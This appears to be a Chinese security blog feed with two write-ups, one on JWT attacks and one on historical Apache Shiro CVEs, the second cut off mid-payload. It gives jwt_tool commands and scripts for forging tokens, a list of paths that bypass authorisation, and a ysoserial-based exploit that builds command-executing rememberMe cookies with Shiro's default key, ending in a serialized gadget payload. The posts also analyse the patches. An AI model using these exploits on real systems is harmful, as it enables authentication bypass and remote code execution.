kpa1on's Blog 2022-11-09T05:01:16.365Z https://kpa1on.github.io/ kpa1on Hexo JWT攻击总结 https://kpa1on.github.io/2022/11/03/JWT%E6%94%BB%E5%87%BB%E6%80%BB%E7%BB%93/ 2022-11-03T13:56:24.000Z 2022-11-09T05:01:16.365Z

JWT基础知识

JWT简介

JWT是JSON Web Token的缩写，是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519)。JWT本身没有定义任何技术实现，它只是定义了一种基于Token的会话管理的规则，涵盖Token需要包含的标准内容和Token的生成过程，特别适用于分布式站点的单点登录(SSO) 场景。

JWT结构

JWT由3部分组成：标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候，会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串。

image-20221103223943962

计算的公式：JWTString=Base64(Header).Base64(Payload).HMACSHA256(base64UrlEncode(header)+”.”+base64UrlEncode(payload),secret)

JWT头是一个描述JWT元数据的JSON对象，alg属性表示签名使用的算法，默认为HMAC SHA256（写为HS256）；typ属性表示令牌的类型，JWT令牌统一写为JWT。最后，使用Base64 URL算法将上述JSON对象转换为字符串保存。

1
2
3
4
{
  "alg": "HS256",
  "typ": "JWT"
}
Payload

有效载荷部分，是JWT的主体内容部分，也是一个JSON对象，包含需要传递的数据。 JWT指定七个默认字段供选择：

1
2
3
4
5
6
7
iss (issuer) : 签发人
exp (expiration time) : 过期时间
sub (subject) : 主题
aud (audience) : 受众
nbf (Not Before) : 生效时间
iat (Issued At) : 签发时间
jti (JWT ID) : 编号

除以上默认字段外，我们还可以自定义私有字段，一般会把包含用户信息的数据放到payload中，如下例：

1
2
3
4
5
{
  "sub": "1234567890",
  "name": "Helen",
  "admin": true
}

请注意，默认情况下JWT是未加密的，因为是采用base64算法，拿到JWT字符串后可以转换回原本的JSON数据，任何人都可以解读其内容，因此不要构建隐私信息字段，比如用户的密码一定不能保存到JWT中，以防止信息泄露。JWT只是适合在网络中传输一些非敏感的信息

Signature

签名哈希部分是对上面两部分数据签名，需要使用base64编码后的header和payload数据，通过指定的算法生成哈希，以确保数据不会被篡改。首先，需要指定一个密钥（secret）。该密码仅仅为保存在服务器中，并且不能向用户公开。然后，使用header中指定的签名算法（默认情况下为HMAC SHA256）生成签名，如下所示

image-20221103225241227

在服务端接收到客户端发送过来的JWT token之后：

  • header和payload可以直接利用base64解码出原文，从header中获取哈希签名的算法，从payload中获取有效数据
  • signature由于使用了不可逆的加密算法，无法解码出原文，它的作用是校验token有没有被篡改。服务端获取header中的加密算法之后，利用该算法加上secretKey对header、payload进行加密，比对加密后的数据和客户端发送过来的是否一致。注意secretKey只能保存在服务端，而且对于不同的加密算法其含义有所不同，一般对于MD5类型的摘要加密算法，secretKey实际上代表的是盐值

JWT种类

JWT的具体实现可以分为以下几种：

  • nonsecure JWT：未经过签名，不安全的JWT
  • JWS：经过签名的JWT
  • JWE：payload部分经过加密的JWT
nonsecure JWT

未经过签名，不安全的JWT。其header部分没有指定签名算法

1
2
3
4
{
  "alg": "none",
  "typ": "JWT"
}

并且也没有Signature部分

JWS

JWS ，也就是JWT Signature，其结构就是在之前nonsecure JWT的基础上，在头部声明签名算法，并在最后添加上签名。创建签名，是保证jwt不能被他人随意篡改。我们通常使用的JWT一般都是JWS

为了完成签名，除了用到header信息和payload信息外，还需要算法的密钥，也就是secretKey。加密的算法一般有2类：

  • 对称加密：secretKey指加密密钥，可以生成签名与验签
  • 非对称加密：secretKey指私钥，只用来生成签名，不能用来验签(验签用的是公钥)

到目前为止，jwt的签名算法有三种：

  • HMAC【哈希消息验证码(对称)】：HS256/HS384/HS512
  • RSASSA【RSA签名算法(非对称)】（RS256/RS384/RS512）
  • ECDSA【椭圆曲线数据签名算法(非对称)】（ES256/ES384/ES512）

JWT常见安全问题

签名算法可被修改为none(CVE-2015-9235)

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”，那么签名会被置空，这样任何token都是有效的。

方式一：原有payload的数据不被改变基础上而进行未校验签名算法

如下为测试的JWT

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg

在 https://jwt.io/ 进行解析

image-20221103230311651

使用jwt_tool进行攻击（该工具可以在不改变原有payload数据的基础上而生成没有签名算法的token)

1
python3 .\jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg  -X a

image-20221103231009715

可以看到生成了四个token（其实就是none大小写），我们将第一个token解析查看下

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.

image-20221103231137791

也可以使用python脚本生成

1
2
3
>>> import jwt
>>> encoded = jwt.encode({"name": "admin"}, '', algorithm='none')
>>> encoded

方式二：原有payload的数据被改变基础上而进行没校验签名算法

使用python3的pyjwt模块，修改payload中的数据，利用签名算法none漏洞，重新生成令牌

1
2
>>> import jwt
>>> encoded = jwt.encode({"iss": "https://demo.sjoerdlangkemper.nl/","iat": 1662737965,"exp": 1662739165,"data": {"hello": "admin" }}, '', algorithm='none')

image-20221103233925850

得到的token为

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.

修复方法：JWT 配置应该只指定所需的签名算法

未校验签名

服务端并未校验JWT签名，可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。

比如测试的JWT为

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg

通过在线工具jwt.io修改payload数据

image-20221103235851453

或者删除signature，再次请求token认证:

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ==.

JWKS公钥注入 ——伪造密钥(CVE-2018-0114)

创建一个新的 RSA 证书对，注入一个 JWKS 文件，攻击者可以使用新的私钥对令牌进行签名，将公钥包含在令牌中，然后让服务使用该密钥来验证令牌

攻击者可以通过以下方法来伪造JWT：删除原始签名，向标头添加新的公钥，然后使用与该公钥关联的私钥进行签名。

使用jwt_tool的-I标志生成一个新的密钥对，注入包含公共密钥的JWKS，并使用私有密钥对令牌进行签名

1
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw      -X i

image-20221109113813827

image-20221109114017359

修复方案：JWT 配置应明确定义接受哪些公钥进行验证

空签名(CVE-2020-28042)

从令牌末尾删除签名，使用jwt_tool进行攻击

1
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw         -X n

image-20221109114445808

敏感信息泄露

JWT的header头base64解码可泄露敏感数据如密钥文件或者密码或者注入漏洞

image-20221109114737232

从解码出的header中可以得到其认证类型为JWT，加密算法为RS256，kid指定加密算法的密钥，密钥KID的路径为：keys/3c3c2ea1c3f113f649dc9389dd71b851k，则在 Web 根目录中查找 /key/3c3c2ea1c3f113f649dc9389dd71b851k 和 /key/3c3c2ea1c3f113f649dc9389dd71b851k.pem

KID参数漏洞

密钥 ID (kid) 是一个可选header，是字符串类型，用于表示文件系统或数据库中存在的特定密钥，然后使用其内容来验证签名。

任意文件读取

kid参数用于读取密钥文件，但系统并不会知道用户想要读取的到底是不是密钥文件，所以，如果在没有对参数进行过滤的前提下，攻击者是可以读取到系统的任意文件的。

image-20221109115443544

在 linux系统中/dev/null被称为空设备文件，并且总是不返回任何内容,可绕过进行任意文件读取

1
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256  -pc login -pv "ticarpi"

参数说明：

-I 对当前声明进行注入或更新内容，-hc kid 设置现有 header 中 kid，-hv 设置其值为 “../../dev/null”，-pc 设置 payload 的申明变量名如：login，-pv 设置 申明变量login的值为 “ticarpi”

或者可以使用 Web 根目录中存在的任何文件，例如 CSS 或 JS，并使用其内容来验证签名。

1
python3 jwt_tool.py -I -hc Kid -hv "路径/of/the/file" -S hs256 -p "文件内容"
SQL注入

kid也可以从数据库中提取数据，这时候就有可能造成SQL注入攻击，通过构造SQL语句来获取数据或者是绕过signature的验证

image-20221109115647569命令注入

对kid参数过滤不严也可能会出现命令注入问题，但是利用条件比较苛刻。如果服务器后端使用的是Ruby，在读取密钥文件时使用了open函数，通过构造参数就可能造成命令注入。

image-20221109115722677

泄露公钥-将加密算法 RS256（非对称）更改为 HS256（对称）（CVE-2016-5431/CVE-2016-10555）

JWT最常用的两种算法是HMAC(非对称加密算法）和RSA（非对称加密算法）。HMAC（对称加密算法）用同一个密钥对token进行签名和认证。而RSA（非对称加密算法）需要两个密钥，先用私钥加密生成JWT，然后使用其对应的公钥来解密验证

将算法RS256修改为HS256（非对称密码算法=>对称密码算法）

方式一：在原payload不被修改的基础上，并将算法RS256修改为HS256

1
python3 jwt_tool.py       eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDE3MDcsImV4cCI6MTY2Mjc0MjkwNywiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.BOiukQghoC-t2nmM5w9SUZURv9sw0FNtmfbzirKi6EEvcqhcjTaeQF6-crCAjLxNoR84A_P8MY5mGL5ZrgDGTbfsXLbMawewaavG090FkvhCkWuPla95LJZsM0H2fFa9PpHruYmWUo9uBVRILpBXLtQDnznTPdbjwXleX3Yr0M4qEKDTPxQzO62O3vSizBm8hzgEnNkiLWPOqfTLXMBf4W0q_4V0A7tK0PoEuoVnsiB1AmHeml4ez2Ksr4m9AqAW52PgrCa9uBEICU3TlNRcXvmiTbmU_xU4W5Bu010SfpxHo3Bc8yEZvLOKC5xZ2zqUX3HJhA_4Bzxu0nmev13Yag -X k -pk public.pem

方式二：在原payload被修改的基础上，并将算法RS256修改为HS256

通过以下脚本修改数据并重新生成token：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# coding=utf-8
import hmac
import hashlib
import base64

file = open('publickey.pem')    #需要将文中的publickey下载    与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"iss": "https://demo.sjoerdlangkemper.nl/","iat": 1662737965,"exp": 1662739165,"data": {"hello": "admins" }}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)

签名密钥可被爆破

HMAC签名密钥（例如HS256 / HS384 / HS512）使用对称加密,如果HS256密钥的强度较弱的话，攻击者可以直接通过蛮力攻击方式来破解密钥。

1
python3 jwt_tool.py        eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.WoHYNyyYLPZ45aM-BN_jqGQekzkvMi251QZbw9xDHAE  -C -d  /usr/share/wordlists/fasttrack.txt

获得的密钥key通过在线jwt.io在线修改数据，重新生成token

泄露token的私钥文件

通过泄露的私钥文件脚本加密得到token：

1
2
3
4
5
6
7
import jwt

private_key = open('private.key', 'r').read()

payload={"user":"admin","iat": 1662886231}

print(jwt.encode(payload=payload, key=private_key, algorithm='RS256'))

参考

https://www.cnblogs.com/backlion/p/16699442.html

https://blog.csdn.net/qq_47664976/article/details/122720118

]]> <meta name="referrer" content="no-referrer"/> <h3 id="JWT基础知识"><a href="#JWT基础知识" class="headerlink" title="JWT基础知识"></a>JWT基础知识</h3><h4 id="JWT简介"><a href="#JWT简介" class="headerlink" title="JWT简介"></a>JWT简介</h4><p>JWT是JSON Web Token的缩写，是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519)。JWT本身没有定义任何技术实现，它只是定义了一种基于Token的会话管理的规则，涵盖Token需要包含的标准内容和Token的生成过程，特别适用于分布式站点的单点登录(SSO) 场景。</p> shiro历史漏洞学习 https://kpa1on.github.io/2022/09/26/shiro%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/ 2022-09-26T03:21:23.000Z 2022-09-29T17:38:59.086Z

前言

最近整理了一些权限绕过的payload，所以就过一下shiro的历史漏洞。

CVE-2010-3863

漏洞信息

漏洞信息详情
漏洞编号CVE-2010-3863 / CNVD-2010-2715
影响版本shiro < 1.1.0 & JSecurity 0.9.x
漏洞描述Shiro 在对请求路径与 shiro.ini 配置文件配置的 AntPath 进行对比前 未进行路径标准化，导致使用时可能绕过权限校验
漏洞关键字/./ | 路径标准化
漏洞补丁Commit-ab82949
相关链接https://vulners.com/nessus/SHIRO_SLASHDOT_BYPASS.NASL https://marc.info/?l=bugtraq&m=128880520013694&w=2

漏洞复现

环境的搭建采用的这个作者的

https://blog.csdn.net/Xxy605/article/details/125404334

搭建好后，直接访问secret.html是需要权限校验的，权限不通过就会跳转到登录

image-20220926115157770

在路径中添加特殊字符即可绕过权限校验

image-20220926115335873

当然不止这个字符，这里直接用上我的权限绕过字典

image-20220926120513350

跑出的结果整理出来大致有如下payload可以绕过（当然可能还要其他的）

1
2
3
4
5
6
7
;
.
a.ico/../
%2e
%3b/%2e.
%3b/..
js/..;/

漏洞分析

Shiro 使用 PathMatchingFilterChainResolver#getChain 方法获取和调用要执行的过滤器

image-20220926142145921

然后进入else语句通过PathMatchingFilterChainResolver#getPathWithinApplication获取requestURI，跟进

image-20220926143206319

继续跟进，如下调用WebUtils#getRequestUri处理request获取requestUri，然后使用字符串截取的方式，去掉URI中的contextPath，跟进getRequestUri这个函数

image-20220926143413096

将获取的uri传递到WebUtils#decodeAndCleanUriString中

image-20220926143602338

整个方法就是去除URI中的“;”

image-20220926144625832

decodeRequestString做了url解码操作

image-20220926143810483

返回URI路径之后，然后循环配置中的AntPath，判断URI和配置路径是否匹配

image-20220926143915441

然后将处理之后的URI传入AntPathMatcher#doMatch进行匹配，在上面的处理期间未做路径标准化处理，导致URI中如果存在一些特殊字符，就有可能导致权限绕过。

漏洞修复

查看补丁链接 Commit-ab82949，在补丁中新增了normalize方法来对路径进行标准化处理

image-20220926145256733

normalize方法大致如下，可以看到对URI中的 \\、//、/./、/../进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
private static String normalize(String path, boolean replaceBackSlash) {

        if (path == null)
            return null;

        // Create a place for the normalized path
        String normalized = path;

        if (replaceBackSlash && normalized.indexOf('\\') >= 0)
            normalized = normalized.replace('\\', '/');

        if (normalized.equals("/."))
            return "/";

        // Add a leading "/" if necessary
        if (!normalized.startsWith("/"))
            normalized = "/" + normalized;

        // Resolve occurrences of "//" in the normalized path
        while (true) {
            int index = normalized.indexOf("//");
            if (index < 0)
                break;
            normalized = normalized.substring(0, index) +
                normalized.substring(index + 1);
        }

        // Resolve occurrences of "/./" in the normalized path
        while (true) {
            int index = normalized.indexOf("/./");
            if (index < 0)
                break;
            normalized = normalized.substring(0, index) +
                normalized.substring(index + 2);
        }

        // Resolve occurrences of "/../" in the normalized path
        while (true) {
            int index = normalized.indexOf("/../");
            if (index < 0)
                break;
            if (index == 0)
                return (null);  // Trying to go outside our context
            int index2 = normalized.lastIndexOf('/', index - 1);
            normalized = normalized.substring(0, index2) +
                normalized.substring(index + 3);
        }

        // Return the normalized path that we have completed
        return (normalized);

    }

CVE-2014-0074

漏洞信息

漏洞信息详情
漏洞编号CVE-2014-0074 / CNVD-2014-03861 / SHIRO-460
影响版本shiro 1.x < 1.2.3
漏洞描述当程序使用LDAP服务器并启用非身份验证绑定时，远程攻击者可借助空的用户名或密码利用该漏洞绕过身份验证。
漏洞关键字ldap | 绕过 | 空密码 | 空用户名 | 匿名
漏洞补丁Commit-f988846
相关链接https://stackoverflow.com/questions/21391572/shiro-authenticates...in-ldap https://www.openldap.org/doc/admin24/security.html

漏洞复现

暂无相关环境。

漏洞分析

根据官方通告是 ldap 服务器在开启了 unauthenticated bind 之后会受到影响；利用的场景有两种：

  • ldap unauthenticated bind enabled 的情况下，可以使用空用户名+任意密码进行认证。
  • ldap allow anonymous 的情况下，可以空用户名+空密码的匿名访问进行认证。

漏洞修复

查看补丁链接 f988846，补丁中添加了validateAuthenticationInfo方法来针对这个漏洞进行修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 /**
     * Validates the configuration in the JNDI <code>environment</code> settings and throws an exception if a problem
     * exists.
     * <p/>
     * This implementation will throw a {@link AuthenticationException} if the authentication mechanism is set to
     * 'simple', the principal is non-empty, and the credentials are empty (as per
     * <a href="http://tools.ietf.org/html/rfc4513#section-5.1.2">rfc4513 section-5.1.2</a>).
     *
     * @param environment the JNDI environment settings to be validated
     * @throws AuthenticationException if a configuration problem is detected
     */
    private void validateAuthenticationInfo(Hashtable<String, Object> environment)
        throws AuthenticationException
    {
        // validate when using Simple auth both principal and credentials are set
        if(SIMPLE_AUTHENTICATION_MECHANISM_NAME.equals(environment.get(Context.SECURITY_AUTHENTICATION))) {

            // only validate credentials if we have a non-empty principal
            if( environment.get(Context.SECURITY_PRINCIPAL) != null &&
                StringUtils.hasText( String.valueOf( environment.get(Context.SECURITY_PRINCIPAL) ))) {

                Object credentials = environment.get(Context.SECURITY_CREDENTIALS);

                // from the FAQ, we need to check for empty credentials:
                // http://docs.oracle.com/javase/tutorial/jndi/ldap/faq.html
                if( credentials == null ||
                    (credentials instanceof byte[] && ((byte[])credentials).length <= 0) || // empty byte[]
                    (credentials instanceof char[] && ((char[])credentials).length <= 0) || // empty char[]
                    (String.class.isInstance(credentials) && !StringUtils.hasText(String.valueOf(credentials)))) {

                    throw new javax.naming.AuthenticationException("LDAP Simple authentication requires both a "
                                                                       + "principal and credentials.");
                }
            }
        }
    }

}

CVE-2016-4437

漏洞信息

漏洞信息详情
漏洞编号CVE-2016-4437 / CNVD-2016-03869 / SHIRO-550
影响版本shiro 1.x < 1.2.5
漏洞描述如果程序未能正确配置 “remember me” 功能使用的密钥。 攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。
漏洞关键字cookie | RememberMe | 反序列化 | 硬编码 | AES
漏洞补丁Commit-4d5bb00
相关链接SHIRO-441 https://www.anquanke.com/post/id/192619

漏洞复现

环境是在CVE-2010-3863基础上修改的，搭建好后，访问登录页面

image-20220926170814849

随便输入用户名密码抓取数据包，在响应包中看到remeberMe=deleteMe即可判断出存在shiro框架

image-20220926170938700

使用工具进行漏洞探测和漏洞利用，工具地址：https://github.com/SummerSec/ShiroAttack2

image-20220926171048126

可以看到存在CB链，但其实本项目在搭建的时候并没有引入其他的依赖，这里就是shiro自带的一条CB链了，后面再分析。

image-20220926171409484

漏洞分析

shiro提供了RememberMe的功能，在应用中提供了记住用户登陆状态的功能。在分析漏洞之前需要了解几个关键的类。

RememberMeManager

接口 org.apache.shiro.mgt.RememberMeManager提供了 5 个方法：

image-20220926171920930

AbstractRememberMeManager

实现了 RememberMeManager 接口的抽象类 AbstractRememberMeManager，其中有几个重要的成员变量：

image-20220926172645839

  • DEFAULT_CIPHER_KEY_BYTES：一个 Base64 硬编码的 AES Key，也是本次漏洞的关键点，在进行AES加解密时都需要该key。
  • serializer：Shiro 提供的序列化器，用来对PrincipalCollection 对象进行序列化和反序列化 。
  • cipherService：用来对数据加解密的类，实际上是 org.apache.shiro.crypto.AesCipherService 类，加解密使用的key即为 DEFAULT_CIPHER_KEY_BYTES。

看下该类的构造方法

image-20220926173040672

构造方法对serializer采用DefaultSerializer进行初始化，并设置DEFAULT_CIPHER_KEY_BYTES 作为 AES 加解密的 key。

CookieRememberMeManager

Shiro 还提供了一个实现了 RememberMeManager 接口的实现类 CookieRememberMeManager，该类的位置在shiro-web-1.2.4.jar!\org\apache\shiro\web\mgt\CookieRememberMeManager.class中，主要的作用是实现了使用cookie记录用户信息的相关功能，其中有一个方法getRememberedSerializedIdentity主要的作用就是获取cookie值，并将其进行Base64 解码返回 byte 数组。

image-20220926174539346

在该函数上打上断点，可以看到调用栈如下，在Filter处理流程中，会调用 AbstractShiroFilter#doFilterInternal 方法，然后使用SecurityManager去创建Subject对象

1
2
3
4
5
6
7
8
9
getRememberedSerializedIdentity:187, CookieRememberMeManager (org.apache.shiro.web.mgt)
getRememberedPrincipals:393, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject)
createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet)

然后通过DefaultSecurityManager#resolvePrincipals 方法来将subjectContext转换为PrincipalCollection，在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals中可以看到这里调用了两个方法，一个getRememberedSerializedIdentity就是之前下断点的地方，该方法的作用就是获取Cookie并base64解码，然后返回一个byte数组，并将byte数组传递到第二个方法convertBytesToPrincipals

image-20220927095004375

看一下convertBytesToPrincipals方法的具体实现，这个方法中调用了两个方法，一个decrype，一个deserialize

image-20220927101555033

在decrype方法中可以看到将会使用decryptionCipherKey进行解密

image-20220927101727302

在构造方法中调用setCipherKey用DEFAULT_CIPHER_KEY_BYTES对encryptionCipherKey和decryptionCipherKey进行赋值

image-20220927102241391

解密完之后回到第二个方法deserialize，跟进通过getSerializer方法获取序列化器，序列化器的默认实现是 DefaultSerializer，也就是这里会调用DefaultSerializer#deserialize方法去对byte数组进行处理

image-20220927103105922

在DefaultSerializer#deserialize方法中，会调用ByteArrayInputStream 将 byte 转为 ObjectInputStream，然后通过Java原生的反序列化对其进行反序列化

image-20220927103646343

反序列化结束后返回PrincipalCollection对象，并将其 set 到 SubjectContext 中

image-20220927103936545

根据上面反序列化的流程，攻击者就可以构造恶意的反序列化数据，然后使用硬编码的AES密钥进行加密，最后Base64编码放在cookie中发包即可。

编写poc测试脚本

首先是key检测的代码，这个检测的方法相较于其他方式较好，生成的rememberMe很短

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;
import org.junit.jupiter.api.Test;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class shiroKey_check {
    @Test
    public void test01() throws IOException{
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(simplePrincipalCollection);
        System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
        oos.close();
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.println(ciphertext.toString());
    }
}

检测的原理是：将SimplePrincipalCollection对象进行序列化并AES加密+Base64编码构造cookie发包，可以在AbstractRememberMeManager#getRememberedPrincipals中看到，这个方法有个try catch语句，try代码块就是上面说的对cookie进行解密然后反序列化，而catch则是在反序列化时如果出现异常则会执行AbstractRememberMeManager#onRememberedPrincipalFailure方法

image-20220927153324403

一直跟下来就会到SimpleCookie#removeFrom方法，该方法就是在请求头中添加deleteMe的值

image-20220927153953878

那么这里就有一个方法能够来验证密钥是否为正确，在getRememberedPrincipals这个方法中，如果在密钥正确并且反序列化成功且返回的是PrincipalCollection对象的话，那么就不会触发异常，也就是不会带上deleteMe的包，所以需要找一个PrincipalCollection类来进行序列化发送

因此可以寻找一个PrincipalCollection的实现类来进行构造，如下SimplePrincipalCollection就很适合

image-20220927154546603

在密钥不正确的情况下返回包如下

image-20220927154740204

在密钥正确的情况下返回：

image-20220927154857518

具体细节可以参考：

https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect

在探测出密钥之后，我们需要配合ysoserial工具进行漏洞利用，编写exp.py如下，将ysoserial工具放在exp.py同目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(gadget, command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', gadget, command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1], sys.argv[2])   
print("rememberMe={0}".format(payload.decode()))

利用脚本生成payload

image-20220927140309429

在burp中发包

image-20220927140453336

当然，也可以生成tomcat回显利用链，将命令执行的结果直接返回

组合xray的6条tomcat回显链

CommonsCollectionsK1/CommonsCollectionsK2/CommonsBeanutils1/CommonsBeanutils2/Jdk7u21/Jdk8u20

下面为六条tomcat回显链的payload，需要再进行AES+Base64加密

1
2
3
4
5
6
7
tomcatEchoPayload={"CommonsCollectionsK1":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACEkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAH/////AXB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb29XR